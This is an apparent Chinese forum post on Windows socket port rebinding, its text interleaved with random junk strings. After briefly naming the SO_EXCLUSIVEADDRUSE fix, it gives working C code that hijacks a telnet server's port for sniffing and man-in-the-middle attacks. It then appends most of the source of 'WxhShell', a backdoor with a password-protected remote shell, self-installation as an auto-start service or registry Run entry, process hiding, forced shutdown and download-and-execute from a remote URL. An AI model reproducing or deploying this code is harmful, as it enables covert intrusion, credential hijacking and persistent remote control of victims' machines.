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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vh^y6U<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w"v!+~/9  
'XK 'T\m  
  saddr.sin_family = AF_INET; g&s. 0+  
PMfW;%I.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4yyw:"  
JT?u[p Q^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Dh8ECy5k<*  
gQ_<;'m)2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )2&3D"V  
tm+*ik=x|  
  这意味着什么?意味着可以进行如下的攻击: pey=zR!  
G?s9c0f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o;$xN3f,  
$G".PWc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q;]JVT1  
KqK]R6>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UzxL" `^7  
YzESV Th  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GbSCk}>  
P8eCaZg?(3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C[L 5H  
gXxi; g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <Ht"t]u*Bn  
?9`j1[0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YO$Ig:a#  
/eV)5`V  
  #include IRN,=  
  #include k+J%o%* <  
  #include [d`E9&Hv3  
  #include    5#GMp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kelBqJ-,p  
  int main() Tqt-zX|>  
  { "w:h  
  WORD wVersionRequested; 8ymdg\I+L  
  DWORD ret; BJjic%V  
  WSADATA wsaData; B[N]=V  
  BOOL val; TTXF r  
  SOCKADDR_IN saddr; w?ugZYwX*  
  SOCKADDR_IN scaddr; NM{)liP ;8  
  int err; -8 uS#  
  SOCKET s; 6u, g  
  SOCKET sc; 1}d F,e  
  int caddsize; Va8 }JD  
  HANDLE mt; )ros-d p`  
  DWORD tid;   LCivZ0?|X  
  wVersionRequested = MAKEWORD( 2, 2 ); v \:AOY'  
  err = WSAStartup( wVersionRequested, &wsaData ); jZA1fV  
  if ( err != 0 ) { tm~9XFQ<  
  printf("error!WSAStartup failed!\n"); ,X|Oe@/  
  return -1; 0Y8gUpe3P6  
  } G"/;Cq=t  
  saddr.sin_family = AF_INET; K2xB%m1LK  
   LKM018H>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \ lbH   
W Z'<iI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >V"{]v  
  saddr.sin_port = htons(23); E=I'$*C \D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]3 "0#Y  
  { w){B$X  
  printf("error!socket failed!\n"); xrf|c  
  return -1; LeCc`x,5  
  } rS [4Pey  
  val = TRUE; Y/sav;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'gY?=,dF>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "Hw%@]#  
  { RdX+:!lD  
  printf("error!setsockopt failed!\n"); ?/.])'&b  
  return -1; HxO+JI`'3  
  } {y"Kn'1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JLd%rM\m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nE]rPRU}[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;P S4@,  
;>PHkJQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z4YDngf=4  
  { N3u06  
  ret=GetLastError(); /4;mjE  
  printf("error!bind failed!\n"); ~cm4e>o  
  return -1; $n<1D -0!r  
  } nvR%Ub x  
  listen(s,2); WO>,=^zPJ  
  while(1) x// uF  
  { W> TG?hH  
  caddsize = sizeof(scaddr); !KI^Z1dP(  
  //接受连接请求 Fg`<uW]TFZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;mpYcpI  
  if(sc!=INVALID_SOCKET) a4s't% P  
  { ]!TE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bPTtA;u  
  if(mt==NULL) dk7x<$h-h0  
  { H,D5)1Uu  
  printf("Thread Creat Failed!\n"); JZ}zXv   
  break; S<T 'B0r8  
  } ?= 7k<a~  
  } }XUL\6U  
  CloseHandle(mt); wqG#jC!5  
  } yy5|8L  
  closesocket(s); ]y#'U  
  WSACleanup(); !$NK7-  
  return 0; y(DT ^>0  
  }   CzlG#?kU?2  
  DWORD WINAPI ClientThread(LPVOID lpParam) &<><4MQ  
  { M[qhy.  
  SOCKET ss = (SOCKET)lpParam; 2sGKn a  
  SOCKET sc; : ;8L1'  
  unsigned char buf[4096]; E:qh}wY  
  SOCKADDR_IN saddr; kI"9T`owR  
  long num; ]aIHd]B  
  DWORD val; nReIi;pi  
  DWORD ret; JL {H3r&/S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {+lU4u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |OLXb+ 7X  
  saddr.sin_family = AF_INET; r`- 8+"P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fgqCX:SWz  
  saddr.sin_port = htons(23); }k.yLcXM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6"_pCkn;c<  
  { reR@@O  
  printf("error!socket failed!\n"); @v`.^L{P  
  return -1; ViW2q"4=  
  } Ys.GBSlHG  
  val = 100; .-YE(}^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Yz;7g8HI  
  { 3D6&0xTq  
  ret = GetLastError(); 53hX%{3  
  return -1; &B5&:ib1D  
  } Z,p@toj'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d%I7OBBx@  
  { /,S VG1  
  ret = GetLastError(); qUfoEpW2=6  
  return -1; j3&q?1  
  } "$N$:B@U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q&0`(okb  
  { F=Xb_Gd`  
  printf("error!socket connect failed!\n"); 3rK\ f4'  
  closesocket(sc); *ELU">!}G  
  closesocket(ss);  j=pg5T  
  return -1; K Zg NL|  
  } O)W+rmToI  
  while(1) (1cB Tf  
  { Jt}`oFQ5l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :2KPvp 7?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8Dl(zYK;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1BmKwux:  
  num = recv(ss,buf,4096,0); f:46.)W j<  
  if(num>0) p9jC-&:  
  send(sc,buf,num,0); (Q*x"G#4>  
  else if(num==0) V0D&bN*  
  break; gaC4u,Zb  
  num = recv(sc,buf,4096,0); R1 SFMI   
  if(num>0) n;Mk\*Cg  
  send(ss,buf,num,0); E!ZLVR.K  
  else if(num==0) X> 98`  
  break; ?Sh"%x  
  } A3.I|/  
  closesocket(ss); 8N)Lck2PR  
  closesocket(sc); Cgln@Rz  
  return 0 ; G(?1 Urxi  
  } dfAw\7v/  
!e<5JO;c  
}Tk:?U{  
========================================================== 8VG}-   
8D>5(Dg-  
下边附上一个代码,,WXhSHELL iz^a Qx/  
-J=6)  
========================================================== r]-n,  
Ae=JG8Ht~  
#include "stdafx.h" hlre eXv  
)n"0:"Ou  
#include <stdio.h> 2u-J+  
#include <string.h> .h4NG4FIF  
#include <windows.h> ,){#J"W  
#include <winsock2.h> X*MK(aV3  
#include <winsvc.h> Z^Um\f   
#include <urlmon.h> 4<tbZP3/6)  
rRe^7xGe7  
#pragma comment (lib, "Ws2_32.lib") s[a\m,  
#pragma comment (lib, "urlmon.lib") G0m$bi=z  
4S*ifl  
#define MAX_USER   100 // 最大客户端连接数 <B T18u\  
#define BUF_SOCK   200 // sock buffer Kn3Xn`P?  
#define KEY_BUFF   255 // 输入 buffer R`$Y]@i&B  
CAx$A[f<  
#define REBOOT     0   // 重启 W%5))R$  
#define SHUTDOWN   1   // 关机 s)E8}-v  
tq,^!RSbZ  
#define DEF_PORT   5000 // 监听端口 #/Ob_~-?j  
=\u,4  
#define REG_LEN     16   // 注册表键长度 |Isn<|_  
#define SVC_LEN     80   // NT服务名长度 >`3F`@1L0  
PSv 5tQhm  
// 从dll定义API (;=|2N>7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "*/IP9?]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e wT K2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O Lt0Q.{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @f"[*7Q`/  
FO(QsR=\s  
// wxhshell配置信息 %5+X  
struct WSCFG { y|+5R5}K  
  int ws_port;         // 监听端口 &HLG<ISw  
  char ws_passstr[REG_LEN]; // 口令 D1+1j:m  
  int ws_autoins;       // 安装标记, 1=yes 0=no c2Z !Vtd  
  char ws_regname[REG_LEN]; // 注册表键名 F,)+9/S&  
  char ws_svcname[REG_LEN]; // 服务名 L_9uwua.B~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $DfK}CT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 117lhx].'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UrciCOQf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bx\ o8k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ugXDnM[S%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OcWKK!A  
\ :s%;s51  
}; \z6UWZ  
d 4tL  
// default Wxhshell configuration !0? B=yA  
struct WSCFG wscfg={DEF_PORT, x6JV@wA&  
    "xuhuanlingzhe", 2gklGDJD  
    1, z&n2JpLY7  
    "Wxhshell", ;X]B0KFe7  
    "Wxhshell", I)#8}[vK  
            "WxhShell Service", rSt5 @f?  
    "Wrsky Windows CmdShell Service", KF(y`(8f  
    "Please Input Your Password: ", x0%m}P/  
  1, # hn  
  "http://www.wrsky.com/wxhshell.exe", R+ \%  
  "Wxhshell.exe" d0}(d Gl  
    }; K"t?  
NAtDt=  
// 消息定义模块 ID`C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fBZLWfp9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #?r|6<4X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ChUE,)  
char *msg_ws_ext="\n\rExit."; xx1lEcj  
char *msg_ws_end="\n\rQuit."; &QD)1b[U  
char *msg_ws_boot="\n\rReboot..."; Z~h6^h   
char *msg_ws_poff="\n\rShutdown..."; k7@QFw4 j  
char *msg_ws_down="\n\rSave to "; ]=ApYg7!  
@=AQr4&  
char *msg_ws_err="\n\rErr!"; Vb#a ,t  
char *msg_ws_ok="\n\rOK!"; At<MY`ka  
'OTZ&;7{  
char ExeFile[MAX_PATH]; ^Os }sJ*5S  
int nUser = 0; Qp[ Jw?a  
HANDLE handles[MAX_USER]; p),* 4@2<  
int OsIsNt; E0VAhN3G\  
u59l)8=  
SERVICE_STATUS       serviceStatus; {R63n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8<0P Ssx  
P 0+@,kM  
// 函数声明 <]%6x[  
int Install(void); %U}6(~  
int Uninstall(void); jK/F zD0-  
int DownloadFile(char *sURL, SOCKET wsh); "|J6*s   
int Boot(int flag); ng|^Zm%   
void HideProc(void); @8`I!fZ  
int GetOsVer(void); 3B%7SX  
int Wxhshell(SOCKET wsl); o ~y{9Q  
void TalkWithClient(void *cs); oDD"h,Z  
int CmdShell(SOCKET sock); !hfpa_5  
int StartFromService(void); EUI*:JU-  
int StartWxhshell(LPSTR lpCmdLine); :+>7m  
'?m2|9~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ipMSMk7gx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); - |DWPU!"  
5tkKd4VfL  
// 数据结构和表定义 h]~FYY  
SERVICE_TABLE_ENTRY DispatchTable[] = aqqo>O3 s  
{ %X\A|V&  
{wscfg.ws_svcname, NTServiceMain}, R0#scr   
{NULL, NULL} @$5~`?  
}; W{q P/R  
R#ZJLT  
// 自我安装 Sn'!Nq>  
int Install(void) 6y Muj<L  
{ '3^qW  
  char svExeFile[MAX_PATH]; RAhDSDf  
  HKEY key; WzR)R9x]  
  strcpy(svExeFile,ExeFile); ^J-Xy\ X  
\$4z@`nY  
// 如果是win9x系统,修改注册表设为自启动 #l&*&R~>  
if(!OsIsNt) { 03|nP$g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xjnAK!sD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s}Go")p<:  
  RegCloseKey(key); UMNNAX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |Fze9kZO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3}phg  
  RegCloseKey(key); ns5Dydo{T  
  return 0; 19(x$=:  
    } >*O5Ry:4  
  } d)biMI}<5  
} rq7yNt  
else { 3k>#z%//  
!wd wo0  
// 如果是NT以上系统,安装为系统服务 wDoCc:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c-NUD$  
if (schSCManager!=0) &@{`{  
{ dVMl;{  
  SC_HANDLE schService = CreateService Ca?w"m~h  
  ( ?P|z,n{  
  schSCManager, !<j4*av:G  
  wscfg.ws_svcname, +?3RC$jyw  
  wscfg.ws_svcdisp, [#\OCdb*3  
  SERVICE_ALL_ACCESS, E$:2AK{*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "WGKwi=W  
  SERVICE_AUTO_START, la)+"uW  
  SERVICE_ERROR_NORMAL, dn])6Xl;i  
  svExeFile, 0Qeda@J  
  NULL, S?i^ ~  
  NULL, O \o@]  
  NULL, Cb<7?),vK  
  NULL, or;VmU8$zb  
  NULL 3j$, L(  
  ); hmLI9TUe6  
  if (schService!=0) ,3}+t6O"  
  { a9^})By&  
  CloseServiceHandle(schService);  Jn|<G  
  CloseServiceHandle(schSCManager); ^9hc`.5N&?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -*w2<DCn  
  strcat(svExeFile,wscfg.ws_svcname); q3/4l%"X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yr>J^Et%_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p}!)4EI=  
  RegCloseKey(key); 5z3WRg  
  return 0; IRk)u`  
    } j?$B@Zk  
  } DH _~,tK9  
  CloseServiceHandle(schSCManager); mM/#(Ghl  
} _'Vo3b  
} # Dgkl  
yRyRH%p)  
return 1; 7u^wO<  
} AriV4 +  
Citumc)E  
// 自我卸载 $X.F=Kv  
int Uninstall(void) ?XyrG1('  
{ }lPWA/  
  HKEY key; #<&@-D8  
xZ2 1i QeN  
if(!OsIsNt) { $?:IRgAr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .@mZG<vg  
  RegDeleteValue(key,wscfg.ws_regname); s/~[/2[bnf  
  RegCloseKey(key); ? B|i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { im:[ViR {  
  RegDeleteValue(key,wscfg.ws_regname); 9%ct   
  RegCloseKey(key); n@bkZ/G  
  return 0; #LR6wEk  
  } .*YOyK3H  
} /M]P&Zb |  
} oui0:Vy<  
else { UBQtD|m\  
MMaS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ux" ^3D  
if (schSCManager!=0) CP"5E?dcK  
{ GpXf).a@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  r?0w5I  
  if (schService!=0) 5B8/"G  
  { *qL2=2  
  if(DeleteService(schService)!=0) { }/NjZ*u  
  CloseServiceHandle(schService); p.4Sgeh#  
  CloseServiceHandle(schSCManager); ^HP$r*  
  return 0; ;*Y+.?>a  
  } t*BCpC }  
  CloseServiceHandle(schService); 30Q77,Nsny  
  } x3 Fn'+  
  CloseServiceHandle(schSCManager); 60>g{1]  
} #vy[v22  
} &2@Rc?!6_P  
!m_y@~pV#u  
return 1; ~^Ga?Q_  
} >c:nr&yP  
F!C<^q~!  
// 从指定url下载文件 Op 9+5]XF  
int DownloadFile(char *sURL, SOCKET wsh) 7{S;~VH3  
{ 'S v V10$5  
  HRESULT hr; ,e`n2)  
char seps[]= "/"; Ug gg!zA  
char *token; id`9,IJx  
char *file; v) K|{x  
char myURL[MAX_PATH]; #gf0*:p  
char myFILE[MAX_PATH]; oM#+Z qP  
u,YmCEd_V  
strcpy(myURL,sURL); ~$ ?85   
  token=strtok(myURL,seps); <Z~Nz>'r  
  while(token!=NULL) #>5T,[{?j  
  { 4_CXs.v1  
    file=token; 6+>X`k%D  
  token=strtok(NULL,seps); yg|yoL'g  
  } @frV:%  
Opy{i#>  
GetCurrentDirectory(MAX_PATH,myFILE); 5PpS/I:on  
strcat(myFILE, "\\"); W Kd:O)J  
strcat(myFILE, file); jM{5nRQ  
  send(wsh,myFILE,strlen(myFILE),0); 4|eI_u{_  
send(wsh,"...",3,0); @Y9tkJIt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5wvh @Sc\  
  if(hr==S_OK) cUi6 On1C  
return 0; hG9Mp!d91  
else vHPsHy7y  
return 1; @2$Uk!  
^\VVx:]  
} ]nxSVKE4p  
'2<N_)43$  
// 系统电源模块 }b<w\9AF  
int Boot(int flag) NZ^hp\q  
{ PP_ar{|7  
  HANDLE hToken; ~me/ve  
  TOKEN_PRIVILEGES tkp; r0'a-Mk;  
yzNDXA.  
  if(OsIsNt) { yWH!v]S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U?:?NC=1{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FB~IO#E8W  
    tkp.PrivilegeCount = 1; a(`"qS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?FZ) LZM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mI^S% HT  
if(flag==REBOOT) { e]:(.Wb- 9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A4L.bBl  
  return 0; eM7 F8j  
} >v/%R~BuX  
else { UD2 l!)rW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _*t75e$-  
  return 0; H5gcP11r  
} `[_p,,}Ir  
  } `Z2-<:]6&a  
  else { ,;h}<("q  
if(flag==REBOOT) { X4bZ4U*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?*QL;[n1  
  return 0; AY9#{c>X  
} IJZx$8&A  
else { 1l}fX}5%I;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d=HD! e  
  return 0; Y1DbBDk  
} B|AIl+y  
} -BrJ5]T>*  
N;cSR\Ng  
return 1; A;;OGJ,!\  
} *>lXCx  
d8^S~7  
// win9x进程隐藏模块 sg<c1  
void HideProc(void) a7z% )i;Z  
{ Nqj5,9*c  
w (odgD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .  
  if ( hKernel != NULL ) Oj7).U0;#  
  { 5*y6{7FLp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A{Y/eG8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ht~YSQ~:y  
    FreeLibrary(hKernel); A(JgAV1{  
  } Qer}eg`R  
bg*@N  
return; SXV f&8  
} =d JRBl  
!@)tkhP  
// 获取操作系统版本 drB$q [Ak9  
int GetOsVer(void) (%]M a  
{ ~ #P` 7G  
  OSVERSIONINFO winfo; cMAY8$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h& Ezhv2  
  GetVersionEx(&winfo); <ZoMKUuB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^%33&<mB}  
  return 1; 6.3qux9  
  else #4& <d.aw'  
  return 0; AT"!Ys|  
} jXyK[q&O&  
kl5Y{![/&f  
// 客户端句柄模块 A^7}:[s20  
int Wxhshell(SOCKET wsl) :rN5HOg^9  
{ !$,e)89  
  SOCKET wsh; 4+N9Ylh  
  struct sockaddr_in client; ENZYrWl  
  DWORD myID; XpP}(A@G  
F:G Vysy  
  while(nUser<MAX_USER) ;E\e.R  
{ 1KI5tf>>p  
  int nSize=sizeof(client); @p9YHLxLjQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;.d{$SO  
  if(wsh==INVALID_SOCKET) return 1; 0(|36 ;x  
]Mgxv>zRbs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `n%8y I%  
if(handles[nUser]==0) v-}D>)M^W  
  closesocket(wsh); t,yMO  
else D{]9s  
  nUser++; CN#2-[T  
  } T'%R kag>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k= .pcDX  
IU rGJ#}O  
  return 0; jbu+>  
} 2,'%G\QT  
ju/#V}N  
// 关闭 socket "l-b(8n  
void CloseIt(SOCKET wsh) e>_Il']Mb  
{ ]nx5E_j2  
closesocket(wsh); DcNwtts  
nUser--; +2^Mz&I@b  
ExitThread(0); vb]H $@0  
} ;-{'d8  
P{>-MT2E  
// 客户端请求句柄 !u%XvxJwDb  
void TalkWithClient(void *cs) I !g+K  
{ Vs&Ul6@N  
4]ETF+   
  SOCKET wsh=(SOCKET)cs; q<Wz9lDMNR  
  char pwd[SVC_LEN]; 2!6-+]tC  
  char cmd[KEY_BUFF]; ]=sGLd^)E  
char chr[1]; `g,i `<  
int i,j; GuRJ  
7j{63d`2  
  while (nUser < MAX_USER) { :stA]JB# w  
]iH~ 1[  
if(wscfg.ws_passstr) { x@,B))WlGr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ku]<$uo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?lQ-HOAw  
  //ZeroMemory(pwd,KEY_BUFF); h Ap(1h#m  
      i=0; )gKX +'  
  while(i<SVC_LEN) { A!ak i}aT~  
3rVWehCv  
  // 设置超时 kntn9G  
  fd_set FdRead; _{0IX  
  struct timeval TimeOut; 9rM6kLD  
  FD_ZERO(&FdRead); 7! #34ue  
  FD_SET(wsh,&FdRead); Y-:dPc{  
  TimeOut.tv_sec=8; v\Xyz )  
  TimeOut.tv_usec=0; @" BkLF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #w]@yL]|is  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +Uf+`  
]*pro|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &l(PWU  
  pwd=chr[0]; 8H2A<&3i  
  if(chr[0]==0xd || chr[0]==0xa) { s7na!A[  
  pwd=0; oD7^9=#  
  break; _[u fH*  
  } 4lF?s\W:  
  i++; #P-T4 R  
    } |C.[eHe&D  
APL #-`XC  
  // 如果是非法用户,关闭 socket TWo.c _l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @hIHvLpRB  
} _If:~mIs  
g7<u eF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #(Ezt% ^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {&s.*5  
?M@ff0  
while(1) { @N+6qO}  
XiN@$  
  ZeroMemory(cmd,KEY_BUFF); _6{XqvWqb  
{x/)S*:Z  
      // 自动支持客户端 telnet标准   =9cN{&qf  
  j=0; Ox}a\B8  
  while(j<KEY_BUFF) { J={IGA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l*>, :y  
  cmd[j]=chr[0]; SOo}}a0  
  if(chr[0]==0xa || chr[0]==0xd) { YV/JZc f  
  cmd[j]=0; RI-)Qx&!f  
  break; ?UV!^w@L:0  
  } g)Dg=3+>  
  j++; szU_,.\  
    } ZH8Oidj`  
x"n)y1y  
  // 下载文件 &{H LYxh   
  if(strstr(cmd,"http://")) { <& p0:S7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _16IP  
  if(DownloadFile(cmd,wsh)) '"o&BmF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g0-J8&?X  
  else p;YS`*!s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tAH0o\1;  
  } .3< sv  
  else { ?D`h[ai  
I 7s}{pG  
    switch(cmd[0]) { t{Xf3.  
  g~Agy  
  // 帮助 ,)7y? *D}  
  case '?': { a) 5;Od  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +'QE-#%{=  
    break; ^%~ux0%^T  
  } *HXx;:  
  // 安装 x*2I]4  
  case 'i': { k1Thjt  
    if(Install()) p}O[A`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 23~KzC  
    else \S`|7JYW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8S*W+l19f  
    break; -/ h'uG  
    } !Xf7RT  
  // 卸载 ?PST.+l  
  case 'r': { eIY![..J/N  
    if(Uninstall()) h!h<!xaclW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |\_d^U &`  
    else fPu,@ L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8^|lsB}x?  
    break; OXCf  
    } _vgFcE~E@  
  // 显示 wxhshell 所在路径 W2G@-`,  
  case 'p': { B gB]M3Il  
    char svExeFile[MAX_PATH]; <m!(eLm+B  
    strcpy(svExeFile,"\n\r"); 47 *,  
      strcat(svExeFile,ExeFile); [Uw/;Kyh  
        send(wsh,svExeFile,strlen(svExeFile),0); hj|P*yKV  
    break; sJ q^>"|J  
    } RbGq$vYol/  
  // 重启 &['cZ/bM  
  case 'b': { dyMj=e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WyD L ah^/  
    if(Boot(REBOOT)) n%1I}?$fO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i%eq!q  
    else { `U[s d*C"  
    closesocket(wsh); ?ta(`+"  
    ExitThread(0); ej9|Y5D"S  
    } H|i39XV  
    break; J_ S]jE{  
    } ?,0 5!]  
  // 关机 An0Zg'o!G  
  case 'd': { ?cdjQ@j~h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9XSZD93L  
    if(Boot(SHUTDOWN)) us TPr  
